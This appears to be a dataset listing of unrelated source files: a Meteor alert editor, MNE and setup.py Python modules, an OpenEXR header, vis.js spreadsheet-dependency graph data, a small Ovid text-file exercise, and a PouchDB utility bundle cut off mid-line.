text
stringlengths
3
1.05M
var HOST = { list: [ { key: 'On all hosts', value: 'ALL', selected: false }, { key: 'On any host', value: 'ANY', selected: false } ] }; var component = FlowComponents.define('app.alerts.editor', function(props) { this.set('HOST', HOST.list); this.set('alertInfo', null); this.onCancel = props.onCancel; this.onCreateNewAlert = props.onCreateNewAlert; this.onUpdateAlert = props.onUpdateAlert; this.forceCreateMode = props.forceCreateMode; if (props.mode === 'create') { this.set('editMode', false); } else if (props.mode === 'update') { this.autorun(function(compute) { var alertInfo = getCurrentAlertInfo(props.alertId); if (alertInfo) { this.set('editMode', true); this.set('alertInfo', alertInfo); compute.stop(); } }); } }); component.state.showCancelButton = function() { return !this.forceCreateMode; }; component.action.backToList = function() { this.onCancel(); }; component.action.saveAlert = function(arg, data) { var self = this; self.set('loading', true); if (self.get('editMode')) { arg = 'update'; } var alertInfo = this.alertInfo(data); var validEmails = false; var validWebhook = false; var emailList = data.email; var urlList = data.webhook; var emailArr; var webhooksArr; if (Validations.isValidEmailList(emailList)) { validEmails = true; emailArr = data.email.split('\n'); } if (Validations.isValidUrllList(urlList)) { validWebhook = true; webhooksArr = data.webhook.split('\n'); } if (validEmails || validWebhook) { var actionEmailInfo = { type: 'email', params: { addresses: emailArr } }; if (emailArr && emailArr.length > 0) { alertInfo.triggers.push(actionEmailInfo); } var actionWebhookInfo = { type: 'webhook', params: { urls: webhooksArr } }; if (webhooksArr && webhooksArr.length > 0) { alertInfo.triggers.push(actionWebhookInfo); } if (arg === 'create') { var createPromise = this.onCreateNewAlert(alertInfo); createPromise .catch(function(err) { growlAlert.error(err.message); }) .then(function() { self.set('loading', false); self.onCancel(); }); } else if (arg === 'update') { var updatePromise = this.onUpdateAlert(data.alertId, alertInfo); updatePromise .catch(function(err) { growlAlert.error(err.message); }) .then(function() { self.set('loading', false); self.onCancel(); }); } } else { if (!validEmails) { growlAlert.error('Invalid email entry!'); } if (!validWebhook) { growlAlert.error('Invalid webhook entry!'); } self.set('loading', false); } }; component.prototype.alertInfo = function(data) { var alertInfo = {}; var metaInfo = {}; metaInfo.name = data.alrtName; metaInfo.rearmInterval = data.rearmInterval; alertInfo.meta = metaInfo; var ruleInfo = {}; ruleInfo.type = data.ruleType; ruleInfo.params = {}; ruleInfo.params.threshold = data.conditionValue; ruleInfo.params.condition = data.condition; ruleInfo.duration = data.duration; if (data.frequency === 'atLeastOnce') { ruleInfo.duration = 0; } ruleInfo.hosts = []; if (!data.host) { data.host = 'ALL'; } if (data.host === 'ANY' || data.host === 'ALL') { ruleInfo.hosts.push('$' + data.host); } alertInfo.rule = ruleInfo; alertInfo.triggers = []; return alertInfo; }; function getCurrentAlertInfo(alertId) { var alertInfo = Alerts.findOne({ _id: alertId }); if (!alertInfo) { return; } var data = {}; data.alertId = alertId; data.name = alertInfo.meta.name; var rearmInterval = alertInfo.meta.rearmInterval / (1000 * 60) || 5; data.rearm = rearmInterval; if (alertInfo.rule.hosts[0] === '$ANY') { data.host = 'ANY'; } else if (alertInfo.rule.hosts[0] === '$ALL') { data.host = 'ALL'; } for (var i = 0; i < HOST.list.length; ++i) { if (HOST.list[i].value === data.host) { HOST.list[i].selected = true; } else { HOST.list[i].selected = false; } } var emails; var webhooks; alertInfo.triggers.forEach(function(trigger) { var haveEmails = trigger.type === 'email' && trigger.params.addresses && trigger.params.addresses.length > 0; if (haveEmails) { emails = trigger.params.addresses.join('\n'); } var haveWebhooks = trigger.type === 'webhook' && trigger.params.urls && trigger.params.urls.length > 0; if (haveWebhooks) { webhooks = trigger.params.urls.join('\n'); } }); data.emails = emails; data.webhooks = webhooks; data.ruleType = alertInfo.rule.type; data.condition = alertInfo.rule.params.condition; data.threshold = alertInfo.rule.params.threshold; data.duration = alertInfo.rule.duration; return data; }
"""Preprocessing with artifact detection, SSP, and ICA.""" # Authors: Alexandre Gramfort <[email protected]> # Matti Hamalainen <[email protected]> # Martin Luessi <[email protected]> # Denis Engemann <[email protected]> # # License: BSD (3-clause) from .maxfilter import apply_maxfilter from .ssp import compute_proj_ecg, compute_proj_eog from .eog import find_eog_events, create_eog_epochs from .ecg import find_ecg_events, create_ecg_epochs from .ica import (ICA, ica_find_eog_events, ica_find_ecg_events, get_score_funcs, read_ica, run_ica, corrmap) from .bads import find_outliers from .stim import fix_stim_artifact from .maxwell import maxwell_filter from .xdawn import Xdawn
import io import re try: from setuptools import setup except ImportError: from distutils.core import setup requires = [pkg.strip() for pkg in open('requirements.txt', 'r').readlines()] version = '' with open('use_github3/__init__.py', 'r') as fd: version = re.search( r'^__version__\s*=\s*[\'"]([^\'"]*)[\'"]', fd.read(), re.MULTILINE).group(1) if not version: raise RuntimeError('Cannot find version information') setup( name='use_github', packages=['use_github3'], version=version, description='this module is available for daily operations', long_description=io.open('README.md', mode='r', encoding='utf-8').read(), long_description_content_type="text/markdown", author='ardnico', author_email='[email protected]', install_requires=requires, url='https://github.com/ardnico/use_github', download_url='https://github.com/ardnico/use_github/releases', keywords=['github', 'api', 'auditlog'], classifiers=[ "Programming Language :: Python :: 3", "Operating System :: OS Independent", ], )
// // SPDX-License-Identifier: BSD-3-Clause // Copyright (c) Contributors to the OpenEXR Project. // #ifndef INCLUDED_IMF_DEEPIMAGESTATE_ATTRIBUTE_H #define INCLUDED_IMF_DEEPIMAGESTATE_ATTRIBUTE_H //----------------------------------------------------------------------------- // // class DeepImageStateAttribute // //----------------------------------------------------------------------------- #include "ImfAttribute.h" #include "ImfDeepImageState.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER typedef TypedAttribute<OPENEXR_IMF_INTERNAL_NAMESPACE::DeepImageState> DeepImageStateAttribute; template <> IMF_EXPORT const char *DeepImageStateAttribute::staticTypeName (); template <> IMF_EXPORT void DeepImageStateAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void DeepImageStateAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); template <> IMF_EXPORT void DeepImageStateAttribute::copyValueFrom (const OPENEXR_IMF_INTERNAL_NAMESPACE::Attribute &other); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif
var nodes = new vis.DataSet([ /* {id: a, label: b, ...}, */ {id: '3273', label: 'D2\nFALSE', color: '#31b0d5', title: 'Name: D2<br>Alias: null<br>Value: FALSE<br>Type: CELL_WITH_FORMULA<br>Id: 3273<br>Formula Expression: Formula String: ISEVEN(B2 + A1); Formula Values: ISEVEN(5.0 + 10.8); Formula Ptg: ; Ptgs: Index in Ptgs: 0 <br>Source Object Id: com.dataart.spreadsheetanalytics.engine.PoiProxyWorkbook@50ac1249'}, {id: '3275', label: 'C3\n15.8', color: '#31b0d5', title: 'Name: C3<br>Alias: null<br>Value: 15.8<br>Type: CELL_WITH_FORMULA<br>Id: 3275<br>Formula Expression: Formula String: B2 + A1; Formula Values: 5.0 + 10.8; Formula Ptg: null; Ptgs: null Index in Ptgs: 1 <br>Source Object Id: com.dataart.spreadsheetanalytics.engine.PoiProxyWorkbook@50ac1249'}, {id: '3276', label: 'B2\n5.0', color: '#31b0d5', title: 'Name: B2<br>Alias: null<br>Value: 5.0<br>Type: CELL_WITH_VALUE<br>Id: 3276<br>Formula Expression: Formula String: B2; Formula Values: 5.0; Formula Ptg: 5.0; Ptgs: B2 Index in Ptgs: 0 <br>Source Object Id: com.dataart.spreadsheetanalytics.engine.PoiProxyWorkbook@50ac1249'}, {id: '3278', label: 'A1\n10.8', color: '#31b0d5', title: 'Name: A1<br>Alias: Tax<br>Value: 10.8<br>Type: CELL_WITH_VALUE<br>Id: 3278<br>Formula Expression: Formula String: A1; Formula Values: 10.8; Formula Ptg: 10.8; Ptgs: A1 Index in Ptgs: 0 <br>Source Object Id: null'}, {id: '3279', label: '+\n15.8', color: '#f0ad4e', title: 'Name: +<br>Alias: null<br>Value: 15.8<br>Type: OPERATOR<br>Id: 3279<br>Formula Expression: Formula String: B2 + A1; Formula Values: 5.0 + 10.8; Formula Ptg: ; Ptgs: Index in Ptgs: 2 <br>Source Object Id: com.dataart.spreadsheetanalytics.engine.PoiProxyWorkbook@50ac1249'}, {id: '3280', label: 'ISEVEN\nFALSE', color: '#f0ad4e', title: 'Name: ISEVEN<br>Alias: null<br>Value: FALSE<br>Type: FUNCTION<br>Id: 3280<br>Formula Expression: Formula String: ISEVEN(B2 + A1); Formula Values: ISEVEN(5.0 + 10.8); Formula Ptg: ; Ptgs: Index in Ptgs: 2 <br>Source Object Id: com.dataart.spreadsheetanalytics.engine.PoiProxyWorkbook@50ac1249'}, {id: '3281', label: 'D3\n1232.0', color: '#31b0d5', title: 'Name: D3<br>Alias: null<br>Value: 1232.0<br>Type: CELL_WITH_FORMULA<br>Id: 3281<br>Formula Expression: Formula String: SUM(VALUE, A3, A2); Formula Values: SUM(2.0, 30.0, 1200.0); Formula Ptg: ; Ptgs: Index in Ptgs: 0 <br>Source Object Id: com.dataart.spreadsheetanalytics.engine.PoiProxyWorkbook@50ac1249'}, {id: '3282', label: 'A2\n1200.0', color: '#31b0d5', title: 'Name: A2<br>Alias: null<br>Value: 1200.0<br>Type: CELL_WITH_VALUE<br>Id: 3282<br>Formula Expression: Formula String: A2; Formula Values: 1200.0; Formula Ptg: 1200.0; Ptgs: A2 Index in Ptgs: 0 <br>Source Object Id: com.dataart.spreadsheetanalytics.engine.PoiProxyWorkbook@50ac1249'}, {id: '3283', label: 'A3\n30.0', color: '#31b0d5', title: 'Name: A3<br>Alias: null<br>Value: 30.0<br>Type: CELL_WITH_VALUE<br>Id: 3283<br>Formula Expression: Formula String: A3; Formula Values: 30.0; Formula Ptg: 30.0; Ptgs: A3 Index in Ptgs: 1 <br>Source Object Id: com.dataart.spreadsheetanalytics.engine.PoiProxyWorkbook@50ac1249'}, {id: '3284', label: 'VALUE\n2.0', color: '#31b0d5', title: 'Name: VALUE<br>Alias: Coef<br>Value: 2.0<br>Type: CONSTANT_VALUE<br>Id: 3284<br>Formula Expression: Formula String: VALUE; Formula Values: 2.0; Formula Ptg: 2.0; Ptgs: VALUE Index in Ptgs: 2 <br>Source Object Id: com.dataart.spreadsheetanalytics.engine.PoiProxyWorkbook@50ac1249'}, {id: '3285', label: 'SUM\n1232.0', color: '#f0ad4e', title: 'Name: SUM<br>Alias: null<br>Value: 1232.0<br>Type: FUNCTION<br>Id: 3285<br>Formula Expression: Formula String: SUM(VALUE, A3, A2); Formula Values: SUM(2.0, 30.0, 1200.0); Formula Ptg: ; Ptgs: Index in Ptgs: 3 <br>Source Object Id: com.dataart.spreadsheetanalytics.engine.PoiProxyWorkbook@50ac1249'}, {id: '3286', label: 'D4\n35.0', color: '#31b0d5', title: 'Name: D4<br>Alias: null<br>Value: 35.0<br>Type: CELL_WITH_FORMULA<br>Id: 3286<br>Formula Expression: Formula String: AVERAGE(A5, A4); Formula Values: AVERAGE(20.0, 50.0); Formula Ptg: ; Ptgs: Index in Ptgs: 0 <br>Source Object Id: com.dataart.spreadsheetanalytics.engine.PoiProxyWorkbook@50ac1249'}, {id: '3288', label: 'A4\n50.0', color: '#31b0d5', title: 'Name: A4<br>Alias: null<br>Value: 50.0<br>Type: CELL_WITH_VALUE<br>Id: 3288<br>Formula Expression: Formula String: A4; Formula Values: 50.0; Formula Ptg: 50.0; Ptgs: A4 Index in Ptgs: 0 <br>Source Object Id: com.dataart.spreadsheetanalytics.engine.PoiProxyWorkbook@50ac1249'}, {id: '3289', label: 'A5\n20.0', color: '#31b0d5', title: 'Name: A5<br>Alias: null<br>Value: 20.0<br>Type: CELL_WITH_VALUE<br>Id: 3289<br>Formula Expression: Formula String: A5; Formula Values: 20.0; Formula Ptg: 20.0; Ptgs: A5 Index in Ptgs: 1 <br>Source Object Id: com.dataart.spreadsheetanalytics.engine.PoiProxyWorkbook@50ac1249'}, {id: '3290', label: 'AVERAGE\n35.0', color: '#f0ad4e', title: 'Name: AVERAGE<br>Alias: My_Sum<br>Value: 35.0<br>Type: FUNCTION<br>Id: 3290<br>Formula Expression: Formula String: AVERAGE(A5, A4); Formula Values: AVERAGE(20.0, 50.0); Formula Ptg: ; Ptgs: Index in Ptgs: 2 <br>Source Object Id: com.dataart.spreadsheetanalytics.engine.PoiProxyWorkbook@50ac1249'}, {id: '3291', label: 'D5\n15.8', color: '#31b0d5', title: 'Name: D5<br>Alias: null<br>Value: 15.8<br>Type: CELL_WITH_FORMULA<br>Id: 3291<br>Formula Expression: Formula String: MEDIAN([, 1232.0, FALSE, 15.8, , 5.0, 1200.0, 10.8]); Formula Values: MEDIAN([, 1232.0, FALSE, 15.8, , 5.0, 1200.0, 10.8]); Formula Ptg: ; Ptgs: Index in Ptgs: 0 <br>Source Object Id: com.dataart.spreadsheetanalytics.engine.PoiProxyWorkbook@50ac1249'}, {id: '3298', label: 'C1\n', color: '#31b0d5', title: 'Name: C1<br>Alias: null<br>Value: <br>Type: EMPTY_CELL<br>Id: 3298<br>Formula Expression: Formula String: C1; Formula Values: ; Formula Ptg: ; Ptgs: C1 Index in Ptgs: 6 <br>Source Object Id: com.dataart.spreadsheetanalytics.engine.PoiProxyWorkbook@50ac1249'}, {id: '3306', label: 'F8\n', color: '#31b0d5', title: 'Name: F8<br>Alias: null<br>Value: <br>Type: EMPTY_CELL<br>Id: 3306<br>Formula Expression: Formula String: F8; Formula Values: ; Formula Ptg: ; Ptgs: F8 Index in Ptgs: 14 <br>Source Object Id: com.dataart.spreadsheetanalytics.engine.PoiProxyWorkbook@50ac1249'}, {id: '3307', label: ',\n[, 1232.0, FALSE, 15.8, , 5.0, 1200.0, 10.8]', color: '#f0ad4e', title: 'Name: ,<br>Alias: RangeA<br>Value: [, 1232.0, FALSE, 15.8, , 5.0, 1200.0, 10.8]<br>Type: OPERATOR<br>Id: 3307<br>Formula Expression: Formula String: [, 1232.0, FALSE, 15.8, , 5.0, 1200.0, 10.8]; Formula Values: [, 1232.0, FALSE, 15.8, , 5.0, 1200.0, 10.8]; Formula Ptg: ; Ptgs: Index in Ptgs: 15 <br>Source Object Id: null'}, {id: '3308', label: 'MEDIAN\n15.8', color: '#f0ad4e', title: 'Name: MEDIAN<br>Alias: null<br>Value: 15.8<br>Type: FUNCTION<br>Id: 3308<br>Formula Expression: Formula String: MEDIAN([, 1232.0, FALSE, 15.8, , 5.0, 1200.0, 10.8]); Formula Values: MEDIAN([, 1232.0, FALSE, 15.8, , 5.0, 1200.0, 10.8]); Formula Ptg: ; Ptgs: Index in Ptgs: 1 <br>Source Object Id: com.dataart.spreadsheetanalytics.engine.PoiProxyWorkbook@50ac1249'} ]); var edges = new vis.DataSet([ /* {from: id_a, to: id_b}, */ {from: '3275', to: '3307'}, {from: '3276', to: '3307'}, {from: '3283', to: '3285'}, {from: '3288', to: '3290'}, {from: '3273', to: '3307'}, {from: '3278', to: '3279'}, {from: '3284', to: '3285'}, {from: '3289', to: '3290'}, {from: '3306', to: '3307'}, {from: '3307', to: '3308'}, {from: '3276', to: '3279'}, {from: '3282', to: '3285'}, {from: '3275', to: '3280'}, {from: '3298', to: '3307'}, {from: '3308', to: '3291'}, {from: '3281', to: '3307'}, {from: '3280', to: '3273'}, {from: '3282', to: '3307'}, {from: '3279', to: '3275'}, {from: '3285', to: '3281'}, {from: '3290', to: '3286'}, {from: '3278', to: '3307'} ]);
import os # print(f"TEST: {os.getcwd()}") # Print current working directory. # os.remove("./ovid.txt") # Delete file. with open("./ovid.txt", "w") as file: file.write("In nova fert animus mutatas dicere formas corpora; Di, coeptis nam vos mutastis et illas\nadspirate meis primaque ab origine mundi ad mea perpetuum deducite tempora carmen!") print("\nWithout spaces:") with open("./ovid.txt", "r") as file: for line in file.readlines(): print(line.replace(" ", ""), end="") print("") print("\nReplaced:") with open("./ovid.txt", "r") as file: for line in file.readlines(): print(line.replace("di", "good").replace("Di", "Good"), end="") print("")
'use strict'; function _interopDefault (ex) { return (ex && (typeof ex === 'object') && 'default' in ex) ? ex['default'] : ex; } var uuidV4 = _interopDefault(require('uuid')); var lie = _interopDefault(require('lie')); var getArguments = _interopDefault(require('argsarray')); var events = require('events'); var inherits = _interopDefault(require('inherits')); var nextTick = _interopDefault(require('immediate')); var debug = _interopDefault(require('debug')); var Md5 = _interopDefault(require('spark-md5')); var vuvuzela = _interopDefault(require('vuvuzela')); /* istanbul ignore next */ var PouchPromise$1 = typeof Promise === 'function' ? Promise : lie; function isBinaryObject(object) { return (typeof ArrayBuffer !== 'undefined' && object instanceof ArrayBuffer) || (typeof Blob !== 'undefined' && object instanceof Blob); } function cloneArrayBuffer(buff) { if (typeof buff.slice === 'function') { return buff.slice(0); } // IE10-11 slice() polyfill var target = new ArrayBuffer(buff.byteLength); var targetArray = new Uint8Array(target); var sourceArray = new Uint8Array(buff); targetArray.set(sourceArray); return target; } function cloneBinaryObject(object) { if (object instanceof ArrayBuffer) { return cloneArrayBuffer(object); } var size = object.size; var type = object.type; // Blob if (typeof object.slice === 'function') { return object.slice(0, size, type); } // PhantomJS slice() replacement return object.webkitSlice(0, size, type); } // most of this is borrowed from lodash.isPlainObject: // https://github.com/fis-components/lodash.isplainobject/ // blob/29c358140a74f252aeb08c9eb28bef86f2217d4a/index.js var funcToString = Function.prototype.toString; var objectCtorString = funcToString.call(Object); function isPlainObject(value) { var proto = Object.getPrototypeOf(value); /* istanbul ignore if */ if (proto === null) { // not sure when this happens, but I guess it can return true; } var Ctor = proto.constructor; return (typeof Ctor == 'function' && Ctor instanceof Ctor && funcToString.call(Ctor) == objectCtorString); } function clone(object) { var newObject; var i; var len; if (!object || typeof object !== 'object') { return object; } if (Array.isArray(object)) { newObject = []; for (i = 0, len = object.length; i < len; i++) { newObject[i] = clone(object[i]); } return newObject; } // special case: to avoid inconsistencies between IndexedDB // and other backends, we automatically stringify Dates if (object instanceof Date) { return object.toISOString(); } if (isBinaryObject(object)) { return cloneBinaryObject(object); } if (!isPlainObject(object)) { return object; // don't clone objects like Workers } newObject = {}; for (i in object) { /* istanbul ignore else */ if (Object.prototype.hasOwnProperty.call(object, i)) { var value = clone(object[i]); if (typeof value !== 'undefined') { newObject[i] = value; } } } return newObject; } function once(fun) { var called = false; return getArguments(function (args) { /* istanbul ignore if */ if (called) { // this is a smoke test and should never actually happen throw new Error('once called more than once'); } else { called = true; fun.apply(this, args); } }); } function toPromise(func) { //create the function we will be returning return getArguments(function (args) { // Clone arguments args = clone(args); var self = this; // if the last argument is a function, assume its a callback var usedCB = (typeof args[args.length - 1] === 'function') ? args.pop() : false; var promise = new PouchPromise$1(function (fulfill, reject) { var resp; try { var callback = once(function (err, mesg) { if (err) { reject(err); } else { fulfill(mesg); } }); // create a callback for this invocation // apply the function in the orig context args.push(callback); resp = func.apply(self, args); if (resp && typeof resp.then === 'function') { fulfill(resp); } } catch (e) { reject(e); } }); // if there is a callback, call it back if (usedCB) { promise.then(function (result) { usedCB(null, result); }, usedCB); } return promise; }); } function logApiCall(self, name, args) { /* istanbul ignore if */ if (self.constructor.listeners('debug').length) { var logArgs = ['api', self.name, name]; for (var i = 0; i < args.length - 1; i++) { logArgs.push(args[i]); } self.constructor.emit('debug', logArgs); // override the callback itself to log the response var origCallback = args[args.length - 1]; args[args.length - 1] = function (err, res) { var responseArgs = ['api', self.name, name]; responseArgs = responseArgs.concat( err ? ['error', err] : ['success', res] ); self.constructor.emit('debug', responseArgs); origCallback(err, res); }; } } function adapterFun(name, callback) { return toPromise(getArguments(function (args) { if (this._closed) { return PouchPromise$1.reject(new Error('database is closed')); } if (this._destroyed) { return PouchPromise$1.reject(new Error('database is destroyed')); } var self = this; logApiCall(self, name, args); if (!this.taskqueue.isReady) { return new PouchPromise$1(function (fulfill, reject) { self.taskqueue.addTask(function (failed) { if (failed) { reject(failed); } else { fulfill(self[name].apply(self, args)); } }); }); } return callback.apply(this, args); })); } function mangle(key) { return '$' + key; } function unmangle(key) { return key.substring(1); } function Map$1() { this._store = {}; } Map$1.prototype.get = function (key) { var mangled = mangle(key); return this._store[mangled]; }; Map$1.prototype.set = function (key, value) { var mangled = mangle(key); this._store[mangled] = value; return true; }; Map$1.prototype.has = function (key) { var mangled = mangle(key); return mangled in this._store; }; Map$1.prototype.delete = function (key) { var mangled = mangle(key); var res = mangled in this._store; delete this._store[mangled]; return res; }; Map$1.prototype.forEach = function (cb) { var keys = Object.keys(this._store); for (var i = 0, len = keys.length; i < len; i++) { var key = keys[i]; var value = this._store[key]; key = unmangle(key); cb(value, key); } }; Object.defineProperty(Map$1.prototype, 'size', { get: function () { return Object.keys(this._store).length; } }); function Set$1(array) { this._store = new Map$1(); // init with an array if (array && Array.isArray(array)) { for (var i = 0, len = array.length; i < len; i++) { this.add(array[i]); } } } Set$1.prototype.add = function (key) { return this._store.set(key, true); }; Set$1.prototype.has = function (key) { return this._store.has(key); }; Set$1.prototype.forEach = function (cb) { this._store.forEach(function (value, key) { cb(key); }); }; Object.defineProperty(Set$1.prototype, 'size', { get: function () { return this._store.size; } }); /* global Map,Set,Symbol */ // Based on https://kangax.github.io/compat-table/es6/ we can sniff out // incomplete Map/Set implementations which would otherwise cause our tests to fail. // Notably they fail in IE11 and iOS 8.4, which this prevents. function supportsMapAndSet() { if (typeof Symbol === 'undefined' || typeof Map === 'undefined' || typeof Set === 'undefined') { return false; } var prop = Object.getOwnPropertyDescriptor(Map, Symbol.species); return prop && 'get' in prop && Map[Symbol.species] === Map; } // based on https://github.com/montagejs/collections /* global Map,Set */ var ExportedSet; var ExportedMap; { if (supportsMapAndSet()) { // prefer built-in Map/Set ExportedSet = Set; ExportedMap = Map; } else { // fall back to our polyfill ExportedSet = Set$1; ExportedMap = Map$1; } } // like underscore/lodash _.pick() function pick(obj, arr) { var res = {}; for (var i = 0, len = arr.length; i < len; i++) { var prop = arr[i]; if (prop in obj) { res[prop] = obj[prop]; } } return res; } // Most browsers throttle concurrent requests at 6, so it's silly // to shim _bulk_get by trying to launch potentially hundreds of requests // and then letting the majority time out. We can handle this ourselves. var MAX_NUM_CONCURRENT_REQUESTS = 6; function identityFunction(x) { return x; } function formatResultForOpenRevsGet(result) { return [{ ok: result }]; } // shim for P/CouchDB adapters that don't directly implement _bulk_get function bulkGet(db, opts, callback) { var requests = opts.docs; // consolidate into one request per doc if possible var requestsById = new ExportedMap(); requests.forEach(function (request) { if (requestsById.has(request.id)) { requestsById.get(request.id).push(request); } else { requestsById.set(request.id, [request]); } }); var numDocs = requestsById.size; var numDone = 0; var perDocResults = new Array(numDocs); function collapseResultsAndFinish() { var results = []; perDocResults.forEach(function (res) { res.docs.forEach(function (info) { results.push({ id: res.id, docs: [info] }); }); }); callback(null, {results: results}); } function checkDone() { if (++numDone === numDocs) { collapseResultsAndFinish(); } } function gotResult(docIndex, id, docs) { perDocResults[docIndex] = {id: id, docs: docs}; checkDone(); } var allRequests = []; requestsById.forEach(function (value, key) { allRequests.push(key); }); var i = 0; function nextBatch() { if (i >= allRequests.length) { return; } var upTo = Math.min(i + MAX_NUM_CONCURRENT_REQUESTS, allRequests.length); var batch = allRequests.slice(i, upTo); processBatch(batch, i); i += batch.length; } function processBatch(batch, offset) { batch.forEach(function (docId, j) { var docIdx = offset + j; var docRequests = requestsById.get(docId); // just use the first request as the "template" // TODO: The _bulk_get API allows for more subtle use cases than this, // but for now it is unlikely that there will be a mix of different // "atts_since" or "attachments" in the same request, since it's just // replicate.js that is using this for the moment. // Also, atts_since is aspirational, since we don't support it yet. var docOpts = pick(docRequests[0], ['atts_since', 'attachments']); docOpts.open_revs = docRequests.map(function (request) { // rev is optional, open_revs disallowed return request.rev; }); // remove falsey / undefined revisions docOpts.open_revs = docOpts.open_revs.filter(identityFunction); var formatResult = identityFunction; if (docOpts.open_revs.length === 0) { delete docOpts.open_revs; // when fetching only the "winning" leaf, // transform the result so it looks like an open_revs // request formatResult = formatResultForOpenRevsGet; } // globally-supplied options ['revs', 'attachments', 'binary', 'ajax', 'latest'].forEach(function (param) { if (param in opts) { docOpts[param] = opts[param]; } }); db.get(docId, docOpts, function (err, res) { var result; /* istanbul ignore if */ if (err) { result = [{error: err}]; } else { result = formatResult(res); } gotResult(docIdx, docId, result); nextBatch(); }); }); } nextBatch(); } function isChromeApp() { return (typeof chrome !== "undefined" && typeof chrome.storage !== "undefined" && typeof chrome.storage.local !== "undefined"); } var hasLocal; if (isChromeApp()) { hasLocal = false; } else { try { localStorage.setItem('_pouch_check_localstorage', 1); hasLocal = !!localStorage.getItem('_pouch_check_localstorage'); } catch (e) { hasLocal = false; } } function hasLocalStorage() { return hasLocal; } // Custom nextTick() shim for browsers. In node, this will just be process.nextTick(). We // avoid using process.nextTick() directly because the polyfill is very large and we don't // need all of it (see: https://github.com/defunctzombie/node-process). // "immediate" 3.0.8 is used by lie, and it's a smaller version of the latest "immediate" // package, so it's the one we use. // When we use nextTick() in our codebase, we only care about not releasing Zalgo // (see: http://blog.izs.me/post/59142742143/designing-apis-for-asynchrony). // Microtask vs macrotask doesn't matter to us. So we're free to use the fastest // (least latency) option, which is "immediate" due to use of microtasks. // All of our nextTicks are isolated to this one function so we can easily swap out one // implementation for another. inherits(Changes, events.EventEmitter); /* istanbul ignore next */ function attachBrowserEvents(self) { if (isChromeApp()) { chrome.storage.onChanged.addListener(function (e) { // make sure it's event addressed to us if (e.db_name != null) { //object only has oldValue, newValue members self.emit(e.dbName.newValue); } }); } else if (hasLocalStorage()) { if (typeof addEventListener !== 'undefined') { addEventListener("storage", function (e) { self.emit(e.key); }); } else { // old IE window.attachEvent("storage", function (e) { self.emit(e.key); }); } } } function Changes() { events.EventEmitter.call(this); this._listeners = {}; attachBrowserEvents(this); } Changes.prototype.addListener = function (dbName, id, db, opts) { /* istanbul ignore if */ if (this._listeners[id]) { return; } var self = this; var inprogress = false; function eventFunction() { /* istanbul ignore if */ if (!self._listeners[id]) { return; } if (inprogress) { inprogress = 'waiting'; return; } inprogress = true; var changesOpts = pick(opts, [ 'style', 'include_docs', 'attachments', 'conflicts', 'filter', 'doc_ids', 'view', 'since', 'query_params', 'binary' ]); /* istanbul ignore next */ function onError() { inprogress = false; } db.changes(changesOpts).on('change', function (c) { if (c.seq > opts.since && !opts.cancelled) { opts.since = c.seq; opts.onChange(c); } }).on('complete', function () { if (inprogress === 'waiting') { nextTick(eventFunction); } inprogress = false; }).on('error', onError); } this._listeners[id] = eventFunction; this.on(dbName, eventFunction); }; Changes.prototype.removeListener = function (dbName, id) { /* istanbul ignore if */ if (!(id in this._listeners)) { return; } events.EventEmitter.prototype.removeListener.call(this, dbName, this._listeners[id]); delete this._listeners[id]; }; /* istanbul ignore next */ Changes.prototype.notifyLocalWindows = function (dbName) { //do a useless change on a storage thing //in order to get other windows's listeners to activate if (isChromeApp()) { chrome.storage.local.set({dbName: dbName}); } else if (hasLocalStorage()) { localStorage[dbName] = (localStorage[dbName] === "a") ? "b" : "a"; } }; Changes.prototype.notify = function (dbName) { this.emit(dbName); this.notifyLocalWindows(dbName); }; function guardedConsole(method) { /* istanbul ignore else */ if (console !== 'undefined' && method in console) { var args = Array.prototype.slice.call(arguments, 1); console[method].apply(console, args); } } function randomNumber(min, max) { var maxTimeout = 600000; // Hard-coded default of 10 minutes min = parseInt(min, 10) || 0; max = parseInt(max, 10); if (max !== max || max <= min) { max = (min || 1) << 1; //doubling } else { max = max + 1; } // In order to not exceed maxTimeout, pick a random value between half of maxTimeout and maxTimeout if (max > maxTimeout) { min = maxTimeout >> 1; // divide by two max = maxTimeout; } var ratio = Math.random(); var range = max - min; return ~~(range * ratio + min); // ~~ coerces to an int, but fast. } function defaultBackOff(min) { var max = 0; if (!min) { max = 2000; } return randomNumber(min, max); } // designed to give info to browser users, who are disturbed // when they see http errors in the console function explainError(status, str) { guardedConsole('info', 'The above ' + status + ' is totally normal. ' + str); } var assign; { if (typeof Object.assign === 'function') { assign = Object.assign; } else { // lite Object.assign polyfill based on // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign assign = function (target) { var to = Object(target); for (var index = 1; index < arguments.length; index++) { var nextSource = arguments[index]; if (nextSource != null) { // Skip over if undefined or null for (var nextKey in nextSource) { // Avoid bugs when hasOwnProperty is shadowed if (Object.prototype.hasOwnProperty.call(nextSource, nextKey)) { to[nextKey] = nextSource[nextKey]; } } } } return to; }; } } var $inject_Object_assign = assign; inherits(PouchError, Error); function PouchError(status, error, reason) { Error.call(this, reason); this.status = status; this.name = error; this.message = reason; this.error = true; } PouchError.prototype.toString = function () { return JSON.stringify({ status: this.status, name: this.name, message: this.message, reason: this.reason }); }; var UNAUTHORIZED = new PouchError(401, 'unauthorized', "Name or password is incorrect."); var MISSING_BULK_DOCS = new PouchError(400, 'bad_request', "Missing JSON list of 'docs'"); var MISSING_DOC = new PouchError(404, 'not_found', 'missing'); var REV_CONFLICT = new PouchError(409, 'conflict', 'Document update conflict'); var INVALID_ID = new PouchError(400, 'bad_request', '_id field must contain a string'); var MISSING_ID = new PouchError(412, 'missing_id', '_id is required for puts'); var RESERVED_ID = new PouchError(400, 'bad_request', 'Only reserved document ids may start with underscore.'); var NOT_OPEN = new PouchError(412, 'precondition_failed', 'Database not open'); var UNKNOWN_ERROR = new PouchError(500, 'unknown_error', 'Database encountered an unknown error'); var BAD_ARG = new PouchError(500, 'badarg', 'Some query argument is invalid'); var INVALID_REQUEST = new PouchError(400, 'invalid_request', 'Request was invalid'); var QUERY_PARSE_ERROR = new PouchError(400, 'query_parse_error', 'Some query parameter is invalid'); var DOC_VALIDATION = new PouchError(500, 'doc_validation', 'Bad special document member'); var BAD_REQUEST = new PouchError(400, 'bad_request', 'Something wrong with the request'); var NOT_AN_OBJECT = new PouchError(400, 'bad_request', 'Document must be a 